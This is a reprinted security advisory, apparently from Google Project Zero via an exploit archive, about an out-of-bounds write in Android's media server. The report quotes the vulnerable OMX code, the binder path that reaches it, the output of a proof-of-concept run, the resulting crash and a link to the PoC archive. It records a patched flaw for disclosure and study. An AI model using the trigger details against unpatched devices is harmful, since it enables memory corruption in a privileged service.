1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 |
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=932 The code in IOMXNodeInstance.cpp that handles enableNativeBuffers uses port_index without validation, leading to writing the dword value 0 or 1 at an attacker controlled offset from the IOMXNodeInstance structure. The vulnerable code is here (every write to mSecureBufferType): status_t OMXNodeInstance::enableNativeBuffers( OMX_U32 portIndex, OMX_BOOL graphic, OMX_BOOL enable) { Mutex::Autolock autoLock(mLock); CLOG_CONFIG(enableNativeBuffers, "%s:%u%s, %d", portString(portIndex), portIndex, graphic ? ", graphic" : "", enable); OMX_STRING name = const_cast<OMX_STRING>( graphic ? "OMX.google.android.index.enableAndroidNativeBuffers" : "OMX.google.android.index.allocateNativeHandle"); OMX_INDEXTYPE index; OMX_ERRORTYPE err = OMX_GetExtensionIndex(mHandle, name, &index); if (err == OMX_ErrorNone) { EnableAndroidNativeBuffersParams params; InitOMXParams(¶ms); params.nPortIndex = portIndex; params.enable = enable; err = OMX_SetParameter(mHandle, index, ¶ms); CLOG_IF_ERROR(setParameter, err, "%s(%#x): %s:%u en=%d", name, index, portString(portIndex), portIndex, enable); if (!graphic) { if (err == OMX_ErrorNone) { mSecureBufferType[portIndex] = enable ? kSecureBufferTypeNativeHandle : kSecureBufferTypeOpaque; } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) { mSecureBufferType[portIndex] = kSecureBufferTypeOpaque; } } } else { CLOG_ERROR_IF(enable, getExtensionIndex, err, "%s", name); if (!graphic) { // Extension not supported, check for manual override with system property // This is a temporary workaround until partners support the OMX extension char value[PROPERTY_VALUE_MAX]; if (property_get("media.mediadrmservice.enable", value, NULL) && (!strcmp("1", value) || !strcasecmp("true", value))) { CLOG_CONFIG(enableNativeBuffers, "system property override: using native-handles"); mSecureBufferType[portIndex] = kSecureBufferTypeNativeHandle; } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) { mSecureBufferType[portIndex] = kSecureBufferTypeOpaque; } err = OMX_ErrorNone; } } return StatusFromOMXError(err); } This code is reached from the binder interface android.hardware.IOMX in the mediaserver process; via the following code in IOMX.cpp which reads the port_index directly from the incoming parcel without any validation. case ENABLE_NATIVE_BUFFERS: { CHECK_OMX_INTERFACE(IOMX, data, reply); node_id node = (node_id)data.readInt32(); OMX_U32 port_index = data.readInt32(); OMX_BOOL graphic = (OMX_BOOL)data.readInt32(); OMX_BOOL enable = (OMX_BOOL)data.readInt32(); status_t err = enableNativeBuffers(node, port_index, graphic, enable); reply->writeInt32(err); return NO_ERROR; } Running the attached proof-of-concept on a Nexus 5x yields the following output: --- binder OMX index-out-of-bounds --- [0] opening /dev/binder [0] looking up media.player 0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 . 0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 . 0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 . 0064: 0c . 00 . 00 . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 . 2e . 00 . 0080: 70 p 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 24offs 8 0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . - type 73682a85flags 0000017fptr 0000000000000001cookie 0000000000000000 [0] got handle 00000001 [0] creating an OMX 0000: 00 . 01 . 00 . 00 . 21 ! 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 . 0032: 61 a 00 . 2e . 00 . 49 I 00 . 4d M 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 . 0048: 50 P 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 53 S 00 . 65 e 00 . 0064: 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1013data 24offs 8 0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . - type 73682a85flags 0000017fptr 0000000000000002cookie 0000000000000000 [0] got handle 00000002 [0] creating node 0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 . 0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 . 0048: 58 X 00 . 00 . 00 . 4f O 4d M 58 X 2e . 67 g 6f o 6f o 67 g 6c l 65 e 2e . 67 g 0064: 73 s 6d m 2e . 64 d 65 e 63 c 6f o 64 d 65 e 72 r 00 . 00 . 85 . 2a * 62 b 73 s 0080: 7f . 01 . 00 . 00 . 41 A 41 A 41 A 41 A 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 0096: 00 . 00 . 00 . 00 . BR_NOOP: BR_INCREFS: 0x7fe5862df8, 0x7fe5862e00 BR_ACQUIRE: 0x7fe5862e0c, 0x7fe5862e14 BR_TRANSACTION_COMPLETE: BR_NOOP: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1013data 8offs 0 0000: 00 . 00 . 00 . 00 . 03 . 00 . 1e . 1d . [0] got node 1d1e0003 [0] triggering bug 0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 . 0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 . 0048: 58 X 00 . 00 . 00 . 03 . 00 . 1e . 1d . ba . 43 C 46 F 60 ` 00 . 00 . 00 . 00 . 0064: 00 . 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_NOOP: BR_DEAD_REPLY: And a corresponding crash in the mediaserver process: *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: 'google/bullhead/bullhead:7.0/NRD91E/3234993:userdebug/dev-keys' Revision: 'rev_1.0' ABI: 'arm' pid: 7454, tid: 7457, name: Binder:7454_1>>> /system/bin/mediaserver <<< signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x6a9e0014 r0 6a9dffa8r1 ea8e757cr2 ea43aa1ar3 0000000f r4 e984f0c0r5 8000101ar6 00000000r7 ea43a981 r8 604643bar9 00000000sl ea451f61fp 00000000 ip ea012658sp e81d5660lr e9faa527pc ea42d834cpsr 60030030 backtrace: #00 pc 0001c834/system/lib/libstagefright_omx.so (_ZN7android15OMXNodeInstance19enableNativeBuffersEj8OMX_BOOLS1_+131) #01 pc 0009b8fb/system/lib/libmedia.so (_ZN7android5BnOMX10onTransactEjRKNS_6ParcelEPS1_j+3626) #02 pc 000359c3/system/lib/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+70) #03 pc 0003d1bb/system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+702) #04 pc 0003ce07/system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+114) #05 pc 0003d31b/system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+46) #06 pc 0004f765/system/lib/libbinder.so #07 pc 0000e349/system/lib/libutils.so (_ZN7android6Thread11_threadLoopEPv+140) #08 pc 00047003/system/lib/libc.so (_ZL15__pthread_startPv+22) #09 pc 00019e1d/system/lib/libc.so (__start_thread+6) Fixed in the November security bulletin at https://source.android.com/security/bulletin/2016-11-01.html Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40876.zip |